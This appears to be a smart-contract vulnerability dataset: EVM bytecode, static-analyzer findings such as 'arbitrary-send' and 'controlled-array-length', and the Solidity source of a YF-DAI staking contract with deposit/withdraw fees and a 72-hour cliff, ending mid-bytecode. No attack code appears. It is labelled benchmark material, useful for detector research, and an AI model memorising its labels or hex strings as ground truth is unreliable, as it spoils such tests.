ffff16815260200190815260200160002060060160008360ff1660ff16815260200190815260200160002060040160008154809291906001019190505550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614614d90576000614cef848461208c565b90508473ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fa00c953eff38ec1b71e7fe060b2ab8df0bbe5354319fbdde4fbdafd6324386a6600287604051808360ff1681526020018260ff1660ff1681526020019250505060405180910390a4614d8a848285612c61565b50614e71565b8373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fa00c953eff38ec1b71e7fe060b2ab8df0bbe5354319fbdde4fbdafd6324386a6600286604051808360ff1681526020018260ff1660ff1681526020019250505060405180910390a4614e70600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560028561431c565b5b505b505050565b80615479576000808060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff168152602001908152602001600020600101600081548110614ee757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff1681526020019081526020016000206001018490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff16815260200190815260200160002060010160008154811061503457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002856000808060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008a60ff1660ff16815260200190815260200160002060010160008154811061511a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008860ff1660ff16815260200190815260200160002060010180549050604051808460ff1681526020018360ff1660ff1681526020018260ff1660ff168152602001935050505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002856000808060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008a60ff1660ff16815260200190815260200160002060010160008154811061528e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008860ff1660ff16815260200190815260200160002060010180549050600201604051808460ff1681526020018360ff1660ff1681526020018260ff1660ff168152602001935050505060405180910390a36000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff1681526020019081526020016000206001016000815481106153b057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550615a71565b6000808060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008560ff1660ff1681526020019081526020016000206001016001815481106154e357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff1681526020019081526020016000206001018490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff16815260200190815260200160002060010160018154811061563057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002856000808060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008a60ff1660ff16815260200190815260200160002060010160018154811061571657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008860ff1660ff16815260200190815260200160002060010180549050604051808460ff1681526020018360ff1660ff1681526020018260ff1660ff168152602001935050505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f68062c5925c4317adf3a7095478d28b33fd8b41458bc7620b61bc46bf1b24d826002856000808060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008a60ff1660ff16815260200190815260200160002060010160018154811061588a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008860ff1660ff16815260200190815260200160002060010180549050600401604051808460ff1681526020018360ff1660ff1681526020018260ff1660ff168152602001935050505060405180910390a36000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008360ff1660ff1681526020019081526020016000206001016001815481106159ac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008460ff1660ff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50505050565b6000806000869050600060018660ff161415615c18575b600115615c13576000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008660ff1660ff16815260200190815260200160002060020160009054906101000a900460ff1615615c01578673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167ffc0cb63f8dbd6b20ceb84a3c5358a41576a1479e6ecd040b4b985525dc09a709600188604051808360ff1681526020018260ff1660ff1681526020019250505060405180910390a3600190506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008660ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150615c0e565b8181935093505050615da2565b615a8e565b615d9f565b5b600115615d9e576000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008660ff1660ff16815260200190815260200160002060030160009054906101000a900460ff1615615d8c578673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167ffc0cb63f8dbd6b20ceb84a3c5358a41576a1479e6ecd040b4b985525dc09a709600288604051808360ff1681526020018260ff1660ff1681526020019250505060405180910390a3600190506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160008660ff1660ff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150615d99565b8181935093505050615da2565b615c19565b5b50505b94509492505050565b604051806060016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b828054828255906000526020600020908101928215615e5b579160200282015b82811115615e5a5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190615e02565b5b509050615e689190615e6c565b5090565b615eac91905b80821115615ea857600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101615e72565b5090565b9056fe75736572206973206e6f74206578697374732e2052656769737465722066697273742ea265627a7a723158207aaf2d594a4dc3b86687735a8c01674a5806a2f2aa5ceb6eb34d837a5e594cbe64736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,148 |
0x44d771d0c998f524ff39ab6df64b72bce1d09566
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YfDAIstaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfdai token contract address
address public constant tokenAddress = 0xf4CD3d3Fda8d7Fd6C5a500203e38640A70Bf9577;
// reward rate 72.00% per year
uint public constant rewardRate = 7200;
uint public constant rewardInterval = 365 days;
// staking fee 1.50 percent
uint public constant stakingFeeRate = 150;
// unstaking fee 0.50 percent
uint public constant unstakingFeeRate = 50;
// unstaking possible after 72 hours
uint public constant cliffTime = 72 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
uint private constant stakingAndDaoTokens = 5129e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out YF-DAI from this smart contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress, "Cannot Transfer Out YF-DAI!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80637b0a47ee116100b8578063bec4de3f1161007c578063bec4de3f1461057b578063c326bf4f14610599578063d578ceab146105f1578063d816c7d51461060f578063f2fde38b1461062d578063f3f91fa01461067157610137565b80637b0a47ee1461046f5780638da5cb5b1461048d57806398896d10146104c15780639d76ea5814610519578063b6b55f251461054d57610137565b8063308feec3116100ff578063308feec314610315578063583d42fd146103335780635ef057be1461038b5780636270cd18146103a95780636a395ccb1461040157610137565b80630f1a64441461013c5780631911cf4a1461015a57806319aa70e7146102bf578063268cab49146102c95780632e1a7d4d146102e7575b600080fd5b6101446106c9565b6040518082815260200191505060405180910390f35b6101906004803603604081101561017057600080fd5b8101908080359060200190929190803590602001909291905050506106d0565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101df5780820151818401526020810190506101c4565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015610221578082015181840152602081019050610206565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015610263578082015181840152602081019050610248565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102a557808201518184015260208101905061028a565b505050509050019850505050505050505060405180910390f35b6102c76109e9565b005b6102d16109f4565b6040518082815260200191505060405180910390f35b610313600480360360208110156102fd57600080fd5b8101908080359060200190929190505050610a3d565b005b61031d610f82565b6040518082815260200191505060405180910390f35b6103756004803603602081101561034957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f93565b6040518082815260200191505060405180910390f35b610393610fab565b6040518082815260200191505060405180910390f35b6103eb600480360360208110156103bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb0565b6040518082815260200191505060405180910390f35b61046d6004803603606081101561041757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc8565b005b610477611188565b6040518082815260200191505060405180910390f35b61049561118e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610503600480360360208110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b2565b6040518082815260200191505060405180910390f35b610521611321565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105796004803603602081101561056357600080fd5b8101908080359060200190929190505050611339565b005b6105836117a9565b6040518082815260200191505060405180910390f35b6105db600480360360208110156105af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b1565b6040518082815260200191505060405180910390f35b6105f96117c9565b6040518082815260200191505060405180910390f35b6106176117cf565b6040518082815260200191505060405180910390f35b61066f6004803603602081101561064357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d4565b005b6106b36004803603602081101561068757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611923565b6040518082815260200191505060405180910390f35b6203f48081565b6060806060808486106106e257600080fd5b60006106f7878761193b90919063ffffffff16565b905060608167ffffffffffffffff8111801561071257600080fd5b506040519080825280602002602001820160405280156107415781602001602082028036833780820191505090505b50905060608267ffffffffffffffff8111801561075d57600080fd5b5060405190808252806020026020018201604052801561078c5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff811180156107a857600080fd5b506040519080825280602002602001820160405280156107d75781602001602082028036833780820191505090505b50905060608467ffffffffffffffff811180156107f357600080fd5b506040519080825280602002602001820160405280156108225781602001602082028036833780820191505090505b50905060008b90505b8a8110156109ce57600061084982600261195290919063ffffffff16565b905060006108608e8461193b90919063ffffffff16565b90508187828151811061086f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548682815181106108f557fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485828151811061094d57fe5b602002602001018181525050600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548482815181106109a557fe5b60200260200101818152505050506109c760018261196c90919063ffffffff16565b905061082b565b50838383839850985098509850505050505092959194509250565b6109f233611988565b565b60006901160b2c7564b284000060015410610a125760009050610a3a565b6000610a336001546901160b2c7564b284000061193b90919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f480610b48600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193b90919063ffffffff16565b11610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611f3d6034913960400191505060405180910390fd5b610ba733611988565b6000610bd1612710610bc3603285611c1e90919063ffffffff16565b611c4d90919063ffffffff16565b90506000610be8828461193b90919063ffffffff16565b905073f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8f57600080fd5b505af1158015610ca3573d6000803e3d6000fd5b505050506040513d6020811015610cb957600080fd5b8101908080519060200190929190505050610d3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dc157600080fd5b505af1158015610dd5573d6000803e3d6000fd5b505050506040513d6020811015610deb57600080fd5b8101908080519060200190929190505050610e6e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610ec083600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193b90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f17336002611c6690919063ffffffff16565b8015610f6257506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610f7d57610f7b336002611c9690919063ffffffff16565b505b505050565b6000610f8e6002611cc6565b905090565b60056020528060005260406000206000915090505481565b609681565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461102057600080fd5b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f74205472616e73666572204f75742059462d44414921000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114757600080fd5b505af115801561115b573d6000803e3d6000fd5b505050506040513d602081101561117157600080fd5b810190808051906020019092919050505050505050565b611c2081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111c8826002611c6690919063ffffffff16565b6111d5576000905061131c565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611226576000905061131c565b600061127a600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193b90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006113136127106113056301e133806112f7876112e9611c2089611c1e90919063ffffffff16565b611c1e90919063ffffffff16565b611c4d90919063ffffffff16565b611c4d90919063ffffffff16565b90508093505050505b919050565b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957781565b600081116113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561145257600080fd5b505af1158015611466573d6000803e3d6000fd5b505050506040513d602081101561147c57600080fd5b81019080805190602001909291905050506114ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61150833611988565b6000611532612710611524609685611c1e90919063ffffffff16565b611c4d90919063ffffffff16565b90506000611549828461193b90919063ffffffff16565b905073f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115f057600080fd5b505af1158015611604573d6000803e3d6000fd5b505050506040513d602081101561161a57600080fd5b810190808051906020019092919050505061169d576040517f08c379a